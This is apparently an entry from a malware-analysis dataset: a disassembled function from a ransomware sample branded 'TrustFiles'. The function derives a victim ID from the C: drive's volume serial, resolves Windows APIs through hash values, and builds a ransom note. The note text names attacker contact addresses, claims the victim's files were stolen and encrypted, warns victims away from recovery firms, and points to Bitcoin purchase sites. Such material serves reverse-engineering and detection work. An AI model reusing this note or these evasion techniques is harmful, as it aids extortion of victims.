Function at 0x14001d3e0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xe0
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0xd0], rax
movabs rax, 0x5c003a0043
lea r9, [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x48]
xor eax, eax
xor r8d, r8d
mov dword [rsp + 0x38], eax
xor edx, edx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
movzx ecx, byte [rsp + 0x40]
call fcn.1400355c0
movzx ecx, byte [rsp + 0x41]
movzx ebx, ax
dec ebx
call fcn.1400355c0
movzx ecx, byte [rsp + 0x42]
movzx edi, ax
ror ebx, 0xd
add edi, ebx
call fcn.1400355c0
movzx ecx, byte [rsp + 0x43]
movzx ebx, ax
ror edi, 0xd
add ebx, edi
call fcn.1400355c0
movzx ecx, byte [rsp + 0x40]
movzx edi, ax
ror ebx, 0xd
add edi, ebx
call fcn.1400355c0
movzx ecx, byte [rsp + 0x41]
movzx ebx, ax
ror edi, 0xd
add ebx, edi
call fcn.1400355c0
movzx ecx, byte [rsp + 0x42]
movzx edi, ax
ror ebx, 0xd
add edi, ebx
call fcn.1400355c0
movzx ecx, byte [rsp + 0x43]
movzx ebx, ax
ror edi, 0xd
add ebx, edi
call fcn.1400355c0
movzx ecx, byte [rsp + 0x40]
movzx edi, ax
ror ebx, 0xd
add edi, ebx
call fcn.1400355c0
movzx ecx, byte [rsp + 0x41]
movzx ebx, ax
ror edi, 0xd
add ebx, edi
call fcn.1400355c0
movzx ecx, byte [rsp + 0x42]
movzx edi, ax
ror ebx, 0xd
add edi, ebx
call fcn.1400355c0
movzx ecx, byte [rsp + 0x43]
movzx ebx, ax
ror edi, 0xd
add ebx, edi
call fcn.1400355c0
movzx r9d, ax
lea r8, str.__X_
ror ebx, 0xd
lea rcx, [rsp + 0x50]
add r9d, ebx
mov edx, 0x80
call fcn.14001cff0
mov edx, 0xf
mov r9d, 0x4e
mov r8d, 0x623e9318
call fcn.140007390
call rax
mov rbx, rax
mov edx, 0xf
mov r9d, 0x4f
mov r8d, 0xe343b540
call fcn.140007390
mov edx, 8
mov r8d, 0x4000
mov rcx, rbx
call rax
mov qword [0x1400a6368], rax
test rax, rax
je 0x14001d599
lea rcx, str._TrustFiles
mov qword [rsp + 0x20], rcx
lea r9, str.TrustFiles_skiff.com__TrustFiles_onionmail.org
mov rcx, rax
lea r8, [rsp + 0x50]
lea rdx, str._____________________________________________________________________________________r_n________________________________________________TRUST_FILES__________________________r_n_____________________________________________________________________________________r_n_r_n_r_n__All_Your_Files_Have_Been_Encrypted_____r_n_r_n__Attention_____r_n_r_n__All_your_important_files_have_been_stolen_and_encrypted_by_our_advanced_attack._Without_our_special_decryption_software__theres_no_way_to_recover_your_data__r_n_r_n__Your_ID:__s_r_n_r_n__To_restore_your_files__reach_out_to_us_at:__s_r_n_r_n__You_can_also_contact_us_via_Telegram:__s_r_n_r_n__Why_Trust_Us__r_n_r_n__Before_making_any_payment__you_can_send_us_few_files_for_free_decryption_test._r_n_r_n__Our_business_relies_on_fulfilling_our_promises._r_n_r_n____Warnings:_r_n_r_n____Do_not_go_to_recovery_companies.__r_n____They_secretly_negotiate_with_us_to_decrypt_a_test_file_and_use_it_to_gain_your_trust_r_n_tand_after_you_pay__they_take_the_money_and_scam_you._r_n_tYou_can_open_chat_links_and_see_them_chatting_with_us_by_yourself._r_n_t_r_n____Do_not_use_third_party_tools._r_n____They_might_damage_your_files_and_cause_permanent_data_loss._r_n_r_n__How_to_Buy_Bitcoin__r_n_r_n__You_can_purchase_Bitcoin_to_pay_the_ransom_using_these_trusted_platforms:_r_n_r_n__https:__www.kraken.com_learn_buy_bitcoin_btc_r_n__https:__www.coinbase.com_en_gb_how_to_buy_bitcoin_r_n__https:__paxful.com_r_n_r_n_r_n_____________________________________________________________________________________r_n________________________________________________TRUST_FILES__________________________r_n____________________________________________________________________________________
call fcn.14001cf90
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.14002f0b0
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret